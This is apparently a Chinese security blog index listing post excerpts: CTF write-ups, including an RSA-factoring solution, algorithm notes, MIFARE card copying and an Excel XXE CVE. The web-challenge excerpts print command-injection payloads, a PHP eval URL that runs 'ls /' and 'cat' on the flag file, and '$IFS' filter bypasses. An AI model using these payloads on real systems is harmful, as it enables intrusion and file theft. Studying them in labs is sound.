January 2, 2024

强网杯2023线上赛 部分题解

Reference 怎么样用c语言求1000的阶乘? - 知乎 SpeedUp 题意: 提交 'flag' + {{ $\text{SHA256}\left(\sum_{{i=0}}^{{\lfloor \log_{10} (2^{27}!) \rfloor}} \left( \left\lfloor \frac{{2^{27}!}}{{10^i}} \right\rfloor \mod 10 \right)\right)$ }} + '}' / 上面这个式子让 GPT 写的 (图一乐,而且这么求 number length 慢的要死(慢过 str(number).__len__(),而实际上是可以 log 巴拉巴拉求的,忘了复杂度了,总之是可以更快,而且实际上也不用求长度,见最后的代码))
Read more
December 31, 2023

快速幂 与 矩阵快速幂

因为一些事情得重新拾起算法了 / Reference(Aka thanks)(可能"Reference"在这里的用法不太对,欢迎提醒我来纠正) Wiki 时间复杂度 - 维基百科,自由的百科全书 快速幂 - OI Wiki 基础 [[Binary Exponentiation]] [[Linear Algebra|矩阵乘法]] 视频 509 Luogu P3390【模板】矩阵快速幂 bilibili 题目 P1226 【模板】快速幂 - 洛谷 | 计算机科学教育新生态 P3390 【模板】矩阵快速幂 - 洛谷 | 计算机科学教育新生态 讨论(想法) 似乎还可以通过剪枝优化,下次() 关于快速幂的名字笔者并无好感,更喜欢称其为“二进制求幂”,非常直观 把基础拿出来讲 – 矩阵乘法 矩阵乘法:
Read more
December 29, 2023

MIFARE Classic EV1 1K Crad 探索、复制、与解密

MIFARE Classic EV1 代表了 MIFARE Classic 产品系列的最高演进阶段,继承了所有以往版本的优良特性。它提供 1K 和 4K 内存版本,分别满足不同应用需求 / 👆🏻来自 MIFARE官网 / 介绍中的 1k 和 4k 为内存容量,比较常见的为 1k 版本
Read more
December 21, 2023

SageMath 对于 CTF Crypto 的使用

SageMath 版本信息 / > sage ┌────────────────────────────────────────────────────────────────────┐ │ SageMath version 10.1.beta3, Release Date: 2023-06-11 │ │ Using Python 3.11.1. Type "help()" for help. │ └────────────────────────────────────────────────────────────────────┘ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┃ Warning: this is a prerelease version, and it may be unstable. ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ sage: 此前对 $x$ 开 $n$ 次方, 常用 pow(x, 1/n), 但对于结果不是整数时就得用 gmpy2.iroot(x, n), 而我又不喜欢使用第三方库, 现在对此问题有了以下解决方案 Sage
Read more
December 20, 2023

有锁卡贴 iPhone 配合 Apple Watch 的一些问题

进行任何操作前建议备份数据 / 笔者仅分享使用体验, 不为提到的工具负责 / 自写下这篇博客时 笔者设备的版本信息 iOS 16.4 macOS 14.1 watchOS 9.6.2 iPhone 加载 IPCC / 激活时提示
Read more
December 14, 2023

趣题分享[1] -- 2023年四川网信人才技能大赛(网络安全管理员赛项)决赛

2023年四川网信人才技能大赛(网络安全管理员赛项)决赛 / 题目附件 from Crypto.Util.number import * from secret import flag from sympy import nextprime flag=b'' r = getRandomNBitInteger(64) p = r**5 + r**4 - r**3 + r**2 - r + 2023 q = r**5 - r**4 + r**3 - r**2 + r + 2023 p =nextprime(p) q =nextprime(q) n = p*q def enc(flag, n): m = bytes_to_long(flag) return pow(m, 65537, n) c = enc(flag, n) print(n) print(c) # 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457 # 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422 Exploit Sage / P.<r> = PolynomialRing(QQ) fp = r**5 + r**4 - r**3 + r**2 - r + 2023 fq = r**5 - r**4 + r**3 - r**2 + r + 2023 print(f'{latex((fp * fq))}') # n的最大项只有r^8,所以对n开十次过后基本就等于r r_max = (1 << 64) - 1 # 接着还可以减一个小值来模拟随机, 或者用题目的r生成方式, 会发现对最后的结果没有影响 p = fp(r = r_max) q = fq(r = r_max) P = Primes() p = P.next(Integer(p)) q = P.next(Integer(q)) n = p * q Diff = int(real_nth_root(n, 10)) - r_max print(f'{Diff = }') # 于是 换上题目数据 n = 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457 r = int(real_nth_root(n, 10)) - Diff p = fp(r = r) q = fq(r = r) p = P.next(Integer(p)) q = P.next(Integer(q)) assert p * q == n phi = (p - 1) * (q - 1) e = 0x10001 c = 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422 d = inverse_mod(e, phi) m = power_mod(c, d, n) from Crypto.Util.number import long_to_bytes print(long_to_bytes(m)) Output
Read more
November 30, 2023

[CVE-2014-3529] Excel XXE

XXE – 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。
Read more
August 31, 2023

[WebSec 信息泄露] php eval 与 vim 的临时交换文件

题目提示 vim 异常退出, 于是下载 .index.php.swp 进而通过 vim -r index.php.swp 恢复出如下代码 对源码分析后的 payload : ls 根目录 / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27ls%20/%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var); 发现有 fl4444444g 这个可疑文件 cat flag / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27cat%20/fl4444444g%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);
Read more
July 27, 2023

LG TV 和 Mac 的显示兼容问题(开启 4k@120hz 10bit)

M1/M2 系列 MacBook 在链接 LG HDMI 电视时开启 4k-120hz-RGB 的方法: / 购置一条使用 VMM6100 或 VMM7100 的 Type-C to HDMI2.1 线材 / 然后按照此帖子中的办法刷写 固件 / 接着按照此帖子的方法修改 EDID , 修改好后按照帖子中的方法载入并且开启 针对此显示器的自动应用(随便翻译的) 就好了
Read more
July 18, 2023

buuCTF WEB方向刷题(熟悉 Yakit)

[GXYCTF2019]Ping Ping Ping 思路 推测为拼接执行 / $IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测 / Payload /?ip=1|ls ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下 / /?ip=1;a=g;cat$IFS$1fla$a.php 用 Yakit 传的时候记得关闭左边的强制 https
Read more